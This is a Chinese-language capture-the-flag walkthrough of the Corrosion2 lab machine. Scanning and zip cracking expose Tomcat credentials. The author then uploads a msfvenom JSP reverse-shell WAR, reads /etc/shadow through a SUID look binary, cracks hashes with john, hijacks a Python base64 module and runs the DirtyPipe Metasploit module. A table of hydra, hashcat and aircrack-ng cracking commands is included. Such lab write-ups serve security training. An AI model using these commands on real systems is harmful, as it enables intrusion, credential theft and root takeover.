Corrosion2靶机
0x01信息收集
1.1 nmap扫描端口
nmap -A -p- -v 192.168.222.134

22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 6a:d8:44:60:80:39:7e:f0:2d:08:2f:e5:83:63:f0:70 (RSA)
| 256 f2:a6:62:d7:e7:6a:94:be:7b:6b:a5:12:69:2e:fe:d7 (ECDSA)
|_ 256 28:e1:0d:04:80:19:be:44:a6:48:73:aa:e8:6a:65:44 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-methods:
|_ Supported Methods: POST OPTIONS HEAD GET
8080/tcp open http Apache Tomcat 9.0.53
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/9.0.53
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Uptime guess: 26.829 days (since Fri Dec 12 14:17:12 2025)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=264 (Good luck!)
IP ID Sequence Generation: All zeros
开放端口:80、8080、22
主机操作系统及其服务:Ubuntu、Apache Tomcat、OpenSSH 8.2p1 Ubuntu 4ubuntu0.3
1.2web及其目录扫描
开放了80、8080端口分别访问
80端口

网页没可用的,扫一下目录
dirsearch -u [http://192.168.222.134/](http://192.168.222.134/) -x 401,404,403

扫出来没有啥可用的信息
8080端口

tomcat主页版本为9.0.53;扫一下目录
dirsearch -u http://192.168.222.134:8080 -x 401,404,403或者ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u [http://192.168.1.9:8080/FUZZ](http://192.168.1.9:8080/FUZZ)

[10:30:23] 200 - 33KB - /backup.zip
[10:30:28] 302 - 0B - /docs -> /docs/
[10:30:28] 200 - 15KB - /docs/
[10:30:29] 302 - 0B - /examples -> /examples/
[10:30:29] 200 - 1KB - /examples/
[10:30:29] 200 - 1KB - /examples/websocket/index.xhtml
[10:30:29] 200 - 14KB - /examples/jsp/index.html
[10:30:29] 200 - 6KB - /examples/servlets/index.html
[10:30:29] 200 - 1KB - /examples/servlets/servlet/RequestHeaderExample
[10:30:29] 200 - 658B - /examples/servlets/servlet/CookieExample
[10:30:29] 200 - 687B - /examples/jsp/snp/snoop.jsp
[10:30:30] 200 - 21KB - /favicon.ico
[10:30:35] 302 - 0B - /manager -> /manager/
[10:30:35] 302 - 0B - /manager/ -> /manager/html
[10:30:41] 200 - 153B - /readme.txt
1.3账号尝试,目录详细信息收集
查看目录里面扫描出来的东西
backup.zip,需要密码解压

爆破:爆破工具可多选fcrackzip、john
john:. 基本功能
哈希爆破:破解存储为哈希值的密码(如 Linux shadow 文件、Windows NTLM 哈希、MySQL 密码哈希等)。
字典攻击:基于字典文件尝试密码组合。
暴力破解:生成所有可能的字符组合(如 a-z、0-9、特殊字符)进行尝试。
规则破解:通过自定义规则(如大写首字母、加数字后缀)扩展字典,提高破解效率。
支持的哈希类型
| 哈希类型 / 场景 | 对应文件 / 格式示例 | John 识别方式 |
|---|---|---|
| Linux 系统密码 | /etc/shadow 文件(格式:**用户名:$id$salt$hash**) |
自动识别(**$1$**** 为 MD5,**$6$** 为 SHA-512)** |
| Windows NTLM 哈希 | 格式:**LM:NTLM**(示例:**aad3b435b51404ee:5f4dcc3b5aa765d61d8327deb882cf99**) |
**指定 ****--format=nt** |
| MySQL 密码哈希 | 格式:***hash**(示例:***A4B6157319038724E3566C818872E067**) |
**指定 ****--format=mysql-sha1** |
| ZIP 压缩包密码 | 压缩包文件(需先用 **zip2john** 提取哈希) |
通过 **zip2john** 生成的哈希文件自动识别 |
| RAR 压缩包密码 | 压缩包文件(需先用 **rar2john** 提取哈希) |
通过 **rar2john** 生成的哈希文件自动识别 |
| SSH 私钥密码 | id_rsa 等私钥文件(需先用 **ssh2john** 提取哈希) |
通过 **ssh2john** 生成的哈希文件自动识别 |
补充说明与调整:
- Windows NTLM 哈希:实际常见的格式为
LM:NTLM,示例中已保留冒号分隔,John 需使用--format=nt。 - MySQL 密码哈希:示例格式为
*hash,实际是mysql_native_password使用的 SHA1 双重哈希,John 中应使用--format=mysql-sha1。 - ZIP/RAR 区分:
zip2john与rar2john为不同工具,建议分开列出。 - SSH 私钥:通常使用
ssh2john(属于 John the Ripper 工具集)提取哈希后再进行破解。
fcrackzip:**<font style="color:rgb(199, 37, 78);background-color:rgb(249, 242, 244);">Fcrackzip</font>**是一款专门破解**<font style="color:rgb(199, 37, 78);background-color:rgb(249, 242, 244);">zip</font>**类型压缩文件密码的工具,工具小巧方便、破解速度快,能使用字典和指定字符集破解,适用于**<font style="color:rgb(199, 37, 78);background-color:rgb(249, 242, 244);">linux、mac osx</font>** 系统
安装:sudo apt-get install fcrackzip
安装字典:rockyou.txt;
在 Kali Linux 中,使用 rockyou.txt 破解加密代码或密码的步骤取决于加密方式(如 ZIP、RAR、HASH、SSH、FTP 等)
好的,这是一个以表格形式整理的,在 Kali Linux 中使用 **rockyou.txt** 破解不同类型加密/保护的通用步骤。表格清晰地展示了不同场景下的工具、命令和核心思路。
Kali Linux 中使用 rockyou.txt 进行密码破解
| 攻击目标 (加密/保护方式) | 核心工具 | 关键准备步骤 (在运行攻击命令前) | 典型攻击命令示例 | 核心思路与说明 |
|---|---|---|---|---|
| ZIP 压缩包 | <font style="color:rgb(77, 77, 77);">fcrackzip</font> |
确保目标 ZIP 文件在本机。<font style="color:rgb(77, 77, 77);">rockyou.txt</font> 默认路径:<font style="color:rgb(77, 77, 77);">/usr/share/wordlists/rockyou.txt</font> |
<font style="color:rgb(77, 77, 77);">fcrackzip -v -D -p /usr/share/wordlists/rockyou.txt -u target.zip</font> |
<font style="color:rgb(77, 77, 77);">-D</font> 指定字典模式,<font style="color:rgb(77, 77, 77);">-p</font> 指定字典路径,<font style="color:rgb(77, 77, 77);">-u</font> 验证密码。暴力破解耗时较长,字典攻击效率更高。 |
| RAR 压缩包 | <font style="color:rgb(77, 77, 77);">rarcrack</font> 或 <font style="color:rgb(77, 77, 77);">john</font> |
1. 使用 rarcrack: 安装 <font style="color:rgb(77, 77, 77);">rarcrack</font> (<font style="color:rgb(77, 77, 77);">sudo apt install rarcrack</font>)。 2. 使用 John: 需先用 <font style="color:rgb(77, 77, 77);">rar2john</font> 提取哈希。 |
1. rarcrack: <font style="color:rgb(77, 77, 77);">rarcrack --type rar target.rar</font> 2. john: <font style="color:rgb(77, 77, 77);">rar2john target.rar > rar_hash.txt</font> <font style="color:rgb(77, 77, 77);">john --wordlist=/usr/share/wordlists/rockyou.txt rar_hash.txt</font> |
<font style="color:rgb(77, 77, 77);">rarcrack</font> 支持自动猜测类型(XML文件记录进度)。John 的方式更通用,先提取哈希,再对哈希进行破解。 |
| 密码哈希 (如 /etc/shadow 中的 Hash) | <font style="color:rgb(77, 77, 77);">john</font> 或 <font style="color:rgb(77, 77, 77);">hashcat</font> |
1. 获取哈希: 需要将 <font style="color:rgb(77, 77, 77);">/etc/shadow</font> 与 <font style="color:rgb(77, 77, 77);">/etc/passwd</font> 合并或直接获得哈希串。 2. 识别哈希类型: 使用 <font style="color:rgb(77, 77, 77);">hashid</font> 或 <font style="color:rgb(77, 77, 77);">john --list=formats</font> 识别。 |
以 John 破解 MD5 为例: <font style="color:rgb(77, 77, 77);">john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash_file.txt</font> 以 hashcat 破解 SHA256 为例: <font style="color:rgb(77, 77, 77);">hashcat -m 1400 -a 0 hash_file.txt /usr/share/wordlists/rockyou.txt</font> |
最常用场景。关键在于正确识别哈希类型(<font style="color:rgb(77, 77, 77);">-m</font> 或 <font style="color:rgb(77, 77, 77);">--format</font>)。<font style="color:rgb(77, 77, 77);">hashcat</font> 性能更强,支持 GPU。破解成功率高度依赖字典质量。 |
| SSH 服务登录 | <font style="color:rgb(77, 77, 77);">hydra</font> 或 <font style="color:rgb(77, 77, 77);">medusa</font> |
确认目标主机 SSH 服务(22端口)开放,且允许密码认证。 | <font style="color:rgb(77, 77, 77);">hydra -l <用户名> -P /usr/share/wordlists/rockyou.txt <目标IP> ssh</font> 或指定用户列表: <font style="color:rgb(77, 77, 77);">hydra -L user_list.txt -P /usr/share/wordlists/rockyou.txt ssh://<目标IP></font> |
网络协议爆破。<font style="color:rgb(77, 77, 77);">-l</font> 指定单个用户,<font style="color:rgb(77, 77, 77);">-L</font> 指定用户字典。注意:频繁尝试可能触发锁定或记录日志。 |
| FTP 服务登录 | <font style="color:rgb(77, 77, 77);">hydra</font> |
确认目标主机 FTP 服务(21端口)开放。 | <font style="color:rgb(77, 77, 77);">hydra -l <用户名> -P /usr/share/wordlists/rockyou.txt ftp://<目标IP></font> 或匿名测试: <font style="color:rgb(77, 77, 77);">hydra -l anonymous -P ‘’ ftp://<目标IP></font> |
思路同 SSH。通常先尝试 <font style="color:rgb(77, 77, 77);">anonymous</font> 匿名登录。 |
| HTTP 表单登录 (如 Web 后台) | <font style="color:rgb(77, 77, 77);">hydra</font> |
1. 分析登录请求(用 Burp Suite 抓包)。 2. 确定登录 URL、用户名/密码参数名、失败响应特征。 | <font style="color:rgb(77, 77, 77);">hydra -l admin -P /usr/share/wordlists/rockyou.txt <目标IP> http-post-form "/login.php:user=^USER^&pass=^PASS^:F=登录失败"</font> |
POST 数据包爆破。语法复杂但灵活。<font style="color:rgb(77, 77, 77);">^USER^</font> 和 <font style="color:rgb(77, 77, 77);">^PASS^</font> 是占位符,<font style="color:rgb(77, 77, 77);">F=...</font> 指定失败字符串。成功率取决于请求构造的准确性。 |
| WordPress 后台 | <font style="color:rgb(77, 77, 77);">wpscan</font> |
确认目标为 WordPress 站点。 | <font style="color:rgb(77, 77, 77);">wpscan --url http://<目标站点> --passwords /usr/share/wordlists/rockyou.txt --usernames admin</font> |
专门针对 WordPress 的工具,比通用 HTTP 爆破更智能,能枚举用户名并规避部分锁定机制。 |
| Wi-Fi WPA/WPA2 握手包 | <font style="color:rgb(77, 77, 77);">aircrack-ng</font> |
1. 已通过 <font style="color:rgb(77, 77, 77);">airodump-ng</font> 捕获到包含四步握手的 <font style="color:rgb(77, 77, 77);">.cap</font> 文件。 2. 确认握手包有效(<font style="color:rgb(77, 77, 77);">aircrack-ng</font> 能识别)。 |
<font style="color:rgb(77, 77, 77);">aircrack-ng -w /usr/share/wordlists/rockyou.txt capture_file.cap</font> |
离线破解无线密码。核心是捕获到用户连接时的握手包。破解速度取决于密码在字典中的位置及硬件算力。 |
| 加密的 PDF 文件 | <font style="color:rgb(77, 77, 77);">john</font> 或 <font style="color:rgb(77, 77, 77);">pdfcrack</font> |
使用 <font style="color:rgb(77, 77, 77);">pdf2john</font> 或 <font style="color:rgb(77, 77, 77);">pdfcrack</font> 提取或直接破解。 |
使用 John: <font style="color:rgb(77, 77, 77);">pdf2john target.pdf > pdf_hash.txt</font> <font style="color:rgb(77, 77, 77);">john --wordlist=/usr/share/wordlists/rockyou.txt pdf_hash.txt</font> 使用 pdfcrack: <font style="color:rgb(77, 77, 77);">pdfcrack -f target.pdf -w /usr/share/wordlists/rockyou.txt</font> |
思路与 RAR 类似,先提取密码哈希(如果支持),再用字典攻击。 |
字典路径: <font style="color:rgb(77, 77, 77);">rockyou.txt</font> 默认位于 <font style="color:rgb(77, 77, 77);">/usr/share/wordlists/</font>。首次使用可能需要解压:
sudo gunzip /usr/share/wordlists/rockyou.txt.gz
爆破:
┌──(root㉿xiao)-[/opt]
└─# fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u backup.zip
PASSWORD FOUND!!!!: pw == @administrator_hi5
得到密码:@administrator_hi5

解压查看解压出来的内容:

在tomcat-user.xml文件中发现两个账户和密码
<role rolename="manager-gui"/>
<user username="manager" password="melehifokivai" roles="manager-gui"/>
<role rolename="admin-gui"/>
<user username="admin" password="melehifokivai" roles="admin-gui, manager-gui"/>
</tomcat-users>
账号1:manager melehifokivai
账号2:admin melehifokivai
账号登录
测试解压得到的账号密码
admin和manager账户都能登录成功
http://192.168.222.134:8080/manager/html

发现文件上传,可上传文件为WAR文件
访问http://192.168.222.134:8080/readme.txt

得到信息有一个加密文件猜测是backup.zip,猜测管理员为randy,
0x02漏洞利用
2.1toncat中war文件上传-shell
msf生成JSP 反向 Shell 的 WAR 文件
sudo msfvenom -p java/jsp_shell_reverse_tcp LHOST="192.168.222.137" LPORT=8888 -f war > shell.war

上传

反弹shell

GetShell之后,通过一段python代码创建要给交互式终端。
python3 -c 'import pty; pty.spawn("/bin/bash")'

# 查询具备suid标志的文件
find / -perm -u=s -type f 2>>/dev/null
# 查询当前用户是否有可利用sudo提权的命令
sudo -l
# 查看备份文件
find / -name "*backup*" 2>>/dev/null
查看home目录下面有两个用户:jaye randy
结合之前的账号密码来密码猜测:
得到:jaye melehifokivai

war文件上传:
WAR(Web Application Archive) 是 Java Web 应用程序的标准打包格式,专为部署到 Servlet 容器(如 Tomcat、Jetty)而设计。它本质上是一个压缩文件(扩展名为 <font style="color:rgb(192, 52, 29);background-color:rgba(0, 0, 0, 0.04);">.war</font>),遵循特定的目录结构,包含 Web 应用的所有代码、资源及配置。
一般情况利用思路:
jsp马转换为war包上传

2.2 msf漏洞利用-shell
msf 有Tomcat 上传webshell的模块,有用户名和密码就可以使用:
search tomcat upload
use 7
show options

查看需要设置的参数






查看user.txt得到第一个flag
home目录下有两个文件夹,加上之前readme.txt出来的猜测可能有两个用户,jaye和randy
之前扫描端口的时候发现22端口开放链接
利用之前压缩包文件中得到的密码ssh一下这两个账户,jaye登录成功


登录进来之后查找能利用的东西,先看看有些啥,,


找到一个可执行文件look,是系统的look


look可以越权访问,查看/etc/shadow
look越权命令使用方法:https://gtfobins.github.io/gtfobins/look/
LFILE=file_to_read
./look '' "$LFILE"


把 /etc/shadow 文件和passwd文件复制下来,,保存到本地。/etc/passwd 文件可以在msf控制台获取,也可以用上述方式获取,使用 unshadow 命令生成需要破解的密码,我们只用爆破root的和rand就行了:
unshadow passwd ushadow > pass.txt
用john破解一下,:
john --wordlist=/usr/share/wordlists/rockyou.txt shadow

爆破得到:randy:07051986randy
登录randy
在根目录下发现一个python可执行 脚本

2.3提权-文件
看一下权限,发现这个python文件不能修改
看看可以干一些什么

但是在代码中引入了一个base64模块
看看这个文件在python3.8目录下

查看一下权限

可以编辑,写入shell
import os
os.system("/bin/bash")


执行脚本


2.4提权-内核漏洞
可用操作系统版本内核漏洞提权
msf漏洞利用
search tomcat upload
use 7
options


设置参数开始利用
msf exploit(multi/http/tomcat_mgr_upload) > set rhosts 192.168.222.135
rhosts => 192.168.222.135
msf exploit(multi/http/tomcat_mgr_upload) > set rport 8080
rport => 8080
msf exploit(multi/http/tomcat_mgr_upload) > set HttpUsername admin
HttpUsername => admin
msf exploit(multi/http/tomcat_mgr_upload) > set HttpPassword melehifokivai
HttpPassword => melehifokivai
msf exploit(multi/http/tomcat_mgr_upload) > options
msf exploit(multi/http/tomcat_mgr_upload) > run


后台运行 session
升级 Java Meterpreter → 原生 Linux Meterpreter
background
sessions -u 1
把 session 1(Java Meterpreter)升级成真正的 Linux x86 Meterpreter(session 2)

查看
sessions l

查看 DirtyPipe 提权模块 ,根据Linux 内核版本我们尝试利用的是cve-2022-0847
search cve-2022-0847
use exploit/linux/local/cve_2022_0847_dirtypipe或者use 0

设置参数
set session 2 #设置使用的会话
set lhost 192.168.222.137 #设置接收的IP
run




浙公网安备 33010602011771号